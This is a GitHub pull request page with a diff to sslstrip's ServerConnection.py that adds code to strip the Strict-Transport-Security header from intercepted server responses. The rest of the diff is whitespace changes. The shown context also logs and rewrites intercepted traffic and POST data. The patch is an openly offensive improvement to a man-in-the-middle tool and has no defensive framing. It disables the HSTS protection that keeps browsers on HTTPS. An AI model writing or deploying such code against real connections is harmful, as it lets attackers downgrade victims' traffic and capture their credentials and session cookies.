Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

removing STS header #9

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 6 additions & 4 deletions sslstrip/ServerConnection.py
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ def connectionMade(self):
logging.log(self.getLogLevel(), "HTTP connection made.")
self.sendRequest()
self.sendHeaders()

if (self.command == 'POST'):
self.sendPostData()

Expand All @@ -96,6 +96,8 @@ def handleHeader(self, key, value):
self.contentLength = value
elif (key.lower() == 'set-cookie'):
self.client.responseHeaders.addRawHeader(key, value)
elif (key.lower() == 'strict-transport-security'):
logging.debug("Removing STS header")
else:
self.client.setHeader(key, value)

Expand All @@ -105,7 +107,7 @@ def handleEndHeaders(self):

if self.length == 0:
self.shutdown()

def handleResponsePart(self, data):
if (self.isImageRequest):
self.client.write(data)
Expand All @@ -122,14 +124,14 @@ def handleResponse(self, data):
if (self.isCompressed):
logging.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()

logging.log(self.getLogLevel(), "Read from server:\n" + data)

data = self.replaceSecureLinks(data)

if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))

self.client.write(data)
self.shutdown()

Expand Down